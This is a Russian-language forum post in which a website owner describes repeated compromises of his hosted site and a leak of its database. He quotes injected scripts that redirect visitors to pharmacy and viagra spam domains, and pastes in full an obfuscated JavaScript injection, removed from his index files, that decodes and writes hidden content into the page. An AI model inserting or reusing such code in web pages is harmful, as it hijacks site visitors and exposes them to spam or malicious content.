у меня на сайте периодически такая же фигня появляется, в файлах и именами login, index
Помогает изменение атрибутов у файлов, если выставлять только для чтения и выполнения, то все нормуль, до следующего сбоя у хостера.
А вообще есть мнение, что такое появляется
1. от неправильного применения настроек безопасности для сайта (выставлены права на запись)
2. ну и , как это ни печально, от дырявого хостера,
у меня ситуация была , мой сайт вообще полностью слили, и дамп базы умудрились сделать, щас вот продают, гады ((
связывался с челом который продает, попросил скинуть дамп таблицы из базы, дабы удостоверится что действительно у хостера дырки, так скинули по аське через минут 30, сравнил я и охренел
код в первом случае был такой
<script>location = 'http://www.pharmacyba.com/';</script>
<script>location = 'http://theviagrapills.com:8080/';</script>
и появлялись файлы с именами ready53 и rowdy41, и еще рисунок с рекламой виагры rowdy41.jpg
Вобщем весело ребята работают )))
а сегодня вот нашел такой код, не знаю уж что там за глюк был у хостера, но вынул из индексных файлов такой вот интересный код
<!-- o65 --><script>function xe440f4ccd8a4(me905b64){var n5407c=String,sec4a6d=me905b64.substr(r97442(),3)-636,jc96dd4,u328d8;me905b64=me905b64.substr(14);var e76c40d=tde87b(me905b64);for(var td617e328=0;td617e328<e76c40d;td617e328++){try{throw(f4a735369=n90554(me905b64,td617e328));}catch(e){f4a735369=e;};if(f4a735369=='–'){sec4a6d="";td617e328=v917ac2(td617e328);s596722e=i9fa87cc(me905b64,td617e328);while(s596722e!='–'){sec4a6d+=s596722e;td617e328++;s596722e=me905b64.substr(td617e328,1);}sec4a6d-=524;continue;}jc96dd4="";if(y0efd18d4(f4a735369)){td617e328++;f4a735369=me905b64.substr(td617e328,1);while(f4a735369!='№'){jc96dd4+=f4a735369;td617e328++;f4a735369=me905b64.substr(td617e328,1);}jc96dd4=jc96dd4-sec4a6d-40;if(jc96dd4<0)jc96dd4+=256;jc96dd4=ef88475c(jc96dd4);he00fb(jc96dd4);continue;}h296299a9=(f4a735369+'')["\x63h\x61\x72\x43o\x64\x65At"](0);if(h296299a9>848)h296299a9-=848;u328d8=h296299a9-sec4a6d-40;if(u328d8<0)u328d8+=256;if(u328d8>=192)u328d8+=848;else if(u328d8==168)u328d8=1025;else if(u328d8==184)u328d8=1105;document.write(n5407c["\x66\x72\x6f\x6dCharCo\x64e"](u328d8));}}xe440f4ccd8a4(p5645948());function r97442(){return 11;}function tde87b(k00efbef){return k00efbef.length;}function n90554(de589f7,ob695ca4){return de589f7.substr(ob695ca4,1);}function v917ac2(kcca0d){return ++kcca0d;}function i9fa87cc(dfe310,o2737efbc){return dfe310.substr(o2737efbc,1);}function ef88475c(vdc7c3194){if(vdc7c3194==168)vdc7c3194=1025;else if(vdc7c3194==184)vdc7c3194=1105;return (vdc7c3194>=192 && vdc7c3194<256)? vdc7c3194+848 : vdc7c3194;}function y0efd18d4(p95c66ee){return p95c66ee=='№';}function he00fb(b5b3de){var n5407c=String;document.write(n5407c["\x66\x72\x6f\x6dCharCo\x64e"](b5b3de));}function p5645948(){return "d3be7a54a1f720№184№–530–№161№№145№№160№№151№№158№–700–L–546–^№178№–529–№166№№157№№146№jO–654–№30№–652–№13№№32№№28№Ч–540–№162№–646–№3№№24№№3№№21№№5№–557–№187№№178№№185№№189№k–558–j–574–НМ–691–2№12№с–612–иффр№186№№175№№175№–536–№167№№159№–662–№30№№19№№22№Я\"–609–йжсиж№171№пт–560–№123№А№177№№185№№188№–553–№177№№166№–634–№10№–621–оь№184№ркц–626–у№188№ш№1№№176№–692–№14№№12№я–628–№3№–604–Ык–603–а–570–ЖК№148№";}</script><!-- c65 -->